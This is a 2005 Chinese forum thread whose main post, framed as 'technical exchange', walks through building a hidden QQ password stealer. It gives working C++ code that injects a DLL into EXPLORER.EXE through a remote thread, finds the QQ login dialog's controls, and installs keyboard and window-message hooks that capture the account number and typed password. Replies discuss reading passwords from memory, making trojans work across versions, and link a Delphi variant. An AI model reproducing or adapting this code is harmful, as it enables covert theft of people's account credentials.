首页
论坛
专栏
课程

[原创]QQ盗号的核心技术(简单版)

2005-6-3 20:13 29192

[原创]QQ盗号的核心技术(简单版)

2005-6-3 20:13
29192
平台:windows xp sp2;
软件:QQ2005版。
申明:本文旨在技术交流。

一。先讲几句废话:

经常有听到有朋友QQ被盗的消息,总感觉做出这种行为的人是可鄙的,不就是对QQ窗口进行监视,然后再是记录用户输入的号码和密码,认为没什么了不起。

对于Windows核心编程,本人还是一只菜鸟,前一段时间把《Windows系统编程》粗略的看一边(当然重点地方仔细的看),由于对于C++有点基础,感觉学起来比较容易上手。但到了这两天真正实践的时候,遇到了各种各样的问题。即使一个小小的问题都足以让我这只菜鸟郁闷老半天。直到此时,在完成这个软件的时候,整理一下思路,不但算是给自己个总结,也跟像我一样的菜鸟们分享一下自己的经验。

二。进入主题:

想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的,这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。

先讲一下思路:需要三个进程A,B,C;两个DLL。

初始进程A,用于在进程B中创建远程线程,创建成功立即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。

进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执行的进程,比如EXPLORER.EXE。其中的远程线程用于监视目标进程。

进程C为目标进程在这里也就是QQ.EXE。

第一个DLL(InspectQQLandDlg.dll),远程线程的载体。

第二个DLL(MyHook.dll),全局钩子函数的载体。

现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ登陆窗口,一旦找到,立即把MyHook.dll映射到目标进程来监视用户的输入。

这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。

1。远程线程的创建。先利用进程快照取得目标进程,相对比较简单

HANDLE hSnapshot ;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
if ( hSnapshot == INVALID_HANDLE_VALUE)
{
    return 0;
}

string lpName = "EXPLORER.EXE" ;    //设定需要监视的进程名
PROCESSENTRY32 pe;
pe.dwSize = sizeof ( PROCESSENTRY32 );

for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk;   fOk =
  Process32Next( hSnapshot, &pe ) )
{
  if ( pe.szExeFile == lpName )
  {   

   //取得宿主进程(EXPLORER.EXE)的句柄
   HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
    false, pe.th32ProcessID ) ;

   //取得目标DLL的当前路径(路径可自由设置)
   char szInspectDllPath[128] ;
   GetCurrentDirectory ( 128, szInspectDllPath ) ;
   strcat ( szInspectDllPath, "\\debug\\InspectQQLandDlg.dll" ) ;
   
   //申请存放文件名的空间
   LPVOID pszInspectDllRemote ;
   int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
   pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,
    NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;
  
   //把dll文件名写入申请的空间
   WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
    (LPVOID)szInspectDllPath, InspectDllNameLength, NULL);

   //获取动态链接库函数地址
   HMODULE hModule ;
   hModule = GetModuleHandle ( "kernel32.DLL" ) ;
   LPTHREAD_START_ROUTINE fnStartAddr ;
   fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
    "LoadLibraryA" ) ;
   
   //创建远程线程
   HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
   hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,
    fnStartAddr, pszInspectDllRemote, 0, NULL ) ;
  
   if( hSnapshot != NULL )
    CloseHandle ( hSnapshot ) ;//关闭进程快照

   CloseHandle ( hRemoteProcess ) ;
   break ;
  }
}

2。此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLL的DllMain(千万不要写成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般来说不因在DllMain中执行过多的功能(借鉴前人的经验,嘿嘿),于是很容易想到开辟一个新线程。

switch(fdwReason)
{
  case DLL_PROCESS_ATTACH:
  {

   //下面这句会给你创建远程线程成功的提示。
   MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;

   HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;
   
   break;
  }
}

在新线程中要达到的目标只是一个循环,利用while()和循环标志(BOOL)isContinue即可以实现。

在这个远程线程中要完成的第二个任务是找到QQ登陆对话框中关键控件。

关于这点网上有很多资料,利用的是FindWindow和FindWindowEx,这是针对以前的版本。在这里已经无效了,现在QQ在这里下了点工夫,采用的是窗口标题采用随机字符。

就以登陆对话框为例,对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候一样,傻傻用FindWindow ("QQ用户登陆","#32770") ;结果什么都没有,哎~~

其实可以通过窗口枚举搞清楚QQ在这里到底做了什么手脚。

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
{
  return false ;
}
char szWindowName[128] ;
ZeroMemory ( szWindowName, 128 ) ;
GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名

if ( !strcmp ( szWindowClassName, "#32770" ) )
{

   __asm int 3

}

return true ;
}

利用上面的程序段,在VC调试器中不断按F5且同时在WATCH中观察szWindowName,很容易发现这个窗口名字符串是由不超过二十个字符组成(多次观察),但其中的元素只有0X13,0X10,0X32,字符串中的每个位置都是三个元素之一。但在SPY++中窗口名中看起来只不过是“  ”,怎么看都只是几个空格(再提醒一下,不要试图通过复制其中的内容,效果可是无法忍受的,呵呵)

事实上登陆窗口可以通过窗口的许多确定因素来确定,比如窗口风格,窗口ID之类的,这些都可以通过SPY++轻易得到(SPY++,好东西啊),下面也就不多发话了,直接给出各个关键控件的代码。

#define UserNameComboBoxId 0x0000008A   //用户名控件ID
#define PasswordEditId     0x000000B4   //密码控件ID
#define ButtonId           0x00003EA0   //登陆按扭控件ID
#define QQLandDlgMiniStyle 0x94CA00C4   //登陆对话框最小化时的风格
#define QQLandDlgShowStyle 0XB4CA00C4   //登陆对话框在桌面显示时的风格

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
  return false ;

long style = GetWindowLong ( hwnd, GWL_STYLE ) ;
if (  style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )
{
  hQQLand = hwnd ;
  EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;

  return false ;
}

return true ;
}

BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
  return false ;

//取得指定句柄的控件ID
long  id= GetWindowLong ( hwnd, GWL_ID ) ;

if (id == UserNameComboBoxId )
{
  hUserName = hwnd ;
}

else if ( id == PasswordEditId )
{
  hPassword = hwnd ;
}

else if ( id == ButtonId )
{
  hLandButton = hwnd ;
}

return true ;
}

到这里终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~

在这里其实可以用

SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );

取得UserName(QQ号码),但不能取得密码。

可以随便下载个*号密码,再在密码框中输入几个字符,结果可能是失败,不知道QQ做了什么手脚,有机会再好好研究。既然此路不通,菜鸟也自己的办法去达到目标。

现在远程线程的第二个功能(取得关键控件的句柄)已经完成,接下来要做的事是把MyHook.dll映射到QQ.EXE,这样即可实现对用户键盘输入的监视。

只需调用MyHook.dll的接口函数即可

SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;

3。MyHook.dll模块。

EXPORT BOOL WINAPI SetHook ( HWND hQQLand,
    HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )
{
if ( isInstall )
{
  hQQLandDlg = hQQLand ;
  hUserNameEdit = hUserName ;
  hPasswordComboBox = hPassword ;
  hButton = hLandButton ;

  DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
  hHookDll = GetModuleHandle ( "MyHook" ) ;

  hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,
   (HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;

  hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
   (HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;

   if ( hKeyboard != NULL && hWndProc != NULL )
   return true ;
}

else
{
  UnhookWindowsHookEx ( hKeyboard ) ;
  UnhookWindowsHookEx ( hWndProc ) ;

  hHookDll = NULL ;
  hKeyboard = NULL ;
  hWndProc = NULL ;
  ZeroMemory ( szPassword, 128 ) ;
  pszPasswordLen = 0 ;
}

return false ;
}

这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。

如果对钩子函数不清楚的朋友,看一下MSDN或者WIN32函数集就可以了。

这里对QQ登陆对话框线程设置两个钩子,一个键盘钩子函数记录键盘输入;另一个全局消息钩子。

LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{

//检测回车键是否被按下
if ( wParam == VK_RETURN && lParam > 0 )
{

  //由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的
  SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

  //此处可以自由处理拦截到的号码和密码(szUserName,szPassword)

  //不要忘了变量还原(szUserName,szPassword)
}

if ( lParam > 0 && wParam != VK_RETURN )
{
  char KeyName[10] ;
   ZeroMemory ( KeyName, 10 ) ;
  GetKeyNameText ( lParam, KeyName, 10 ) ;

  if ( strlen ( KeyName ) == 1 )
  {
   strcat ( szPassword, KeyName ) ;
   }
}

return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}

也由一部分用户是用鼠标点击登陆按扭的,可由下面代码实现

LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
if ( p->message == WM_COMMAND && p->hwnd == hButton )
{//同理

  SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

  //这里可添加如何处理密码的语句
  }
return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;
}

上面给出的几段代码可以实现基本的号码和密码记录功能,但对于具体细节的处理(比如用户按退格键或是其他),这些只要考虑仔细就可以了没有什么难度,这里就不说了。

到此,我想应该把核心部分讲清楚了。由于时间比较紧,写的比较仓促,难免有不足之处,请各位多指教。

哎~~,期末又来了,讨厌,我的身心又要遭受摧残,各位朋友为我祈祷,祝福我顺利PASS吧

[公告]看雪20周年会 | 感恩有你,一路同行

最新回复 (16)
laoqian 8 2005-6-4 10:56
2
0
可以随便下载个*号密码,再在密码框中输入几个字符,结果可能是失败,不知道QQ做了什么手脚,有机会再好好研究。既然此路不通,菜鸟也自己的办法去达到目标。

好像是每次键盘输入一个字符,他每次记录一个。然后在一个地方(特殊的地方,见我们的文章)再组合起来只是瞬间出现在内存,记得2003和2004是这样的,现在不知道他改变了吗。
kyc 19 2005-6-4 11:23
3
0
good
北极星2003 25 2005-6-4 15:21
4
0
就我自己猜想,QQ对钩子函数作了过滤,但不知道如何实现这种技术

但我在想:为何不把号码框也用和密码框一样的技术,这样就更加安全了,而且又不用花费多少力气。
而且通常情况下号码框的号码都是我们自己的根本不需要输入,若在此时再屏蔽VM_GETTEXT,那不就拦截不到号码了。

难道真的是如Binny在《QQ 2005贺岁版登录口令加密算法及其源代码》中所说的,是腾迅故意放水来获取更多的利益???

想不通

其实他们稍微做点工作,我们这种简单的技术根本行不通了。

昨天在DFCG论坛看到nbw牛人,2004测试版的密码获取。
这才叫真正的技术。通过调试QQ密码验证流程,找到在内存中存放点,这种方法才是真正可靠的。
laoqian 8 2005-6-4 16:48
5
0
通过调试QQ密码验证流程,找到在内存中存放点,这种方法才是真正可靠的。
这正是我上面说的。nbw的文章这里也有啊。http://bbs.pediy.com/showthread.php?s=&threadid=4876
但是,如果他不出现在内存,不再组合起来密码,而是一位或几位分开存放密码,那会有些麻烦,但是有一点可以肯定只要你输入密码(不管何种方式输入)明码是肯定会出现的!
skyhits 2005-6-5 15:48
6
0
怎么都没什么见地

做木马的关键是通用性要强,,找到密码存放点有什么用
难道一个一个版本全去调啊

faint
北极星2003 25 2005-6-5 16:46
7
0
最初由 skyhits 发布
怎么都没什么见地

做木马的关键是通用性要强,,找到密码存放点有什么用
难道一个一个版本全去调啊

........


不懂,向这位朋友请教!
能不能详细点??
只喝芬达的狗 2005-6-5 17:23
8
0
怎么不去分析一下QQ木马呢,分析一下就知道别人怎么做的了
nbw 24 2005-6-5 17:38
9
0
最初由 skyhits 发布
怎么都没什么见地

做木马的关键是通用性要强,,找到密码存放点有什么用
难道一个一个版本全去调啊

........


这里讨论的是技术的应用,不是为了搞木马而搞技术。密码存放点也没那么难找,对方版本升级也不是那么快。通用性强可以把QQ协议分析出来,自己做个sniffer拦截网络通信就是,这些都有朋友做过类似东西,不为人知而已。
nbw 24 2005-6-5 17:39
10
0
最初由 只喝芬达的狗 发布
怎么不去分析一下QQ木马呢,分析一下就知道别人怎么做的了


前几天分析了一个,回头整理一下发上来
monkeycz 11 2005-6-6 09:09
11
0
最初由 nbw 发布



前几天分析了一个,回头整理一下发上来

期待中
cgdxxx 2005-6-11 17:28
12
0
我这里也有一个自己做的qq,可以登陆qq的,就不知道怎么上传
coolskyboy 2005-6-11 18:20
13
0
不太理解  继续研究
北极星2003 25 2005-6-11 18:59
14
0
最初由 cgdxxx 发布
我这里也有一个自己做的qq,可以登陆qq的,就不知道怎么上传


你应该可以上传了,选择附件之后,直接点击上传
liuyang68 2005-6-18 13:38
15
0
说的很好啊~!
flash.k 2005-7-13 22:34
16
0
最初由 nbw 发布



前几天分析了一个,回头整理一下发上来
[I]

也在期待中~~~~
fengma 2005-7-23 19:25
17
0
http://www.2ccc.com/article.asp?articleid=1685

delphi 版线程注入获取QQ密码(hook),try.
游客
登录 | 注册 方可回帖
返回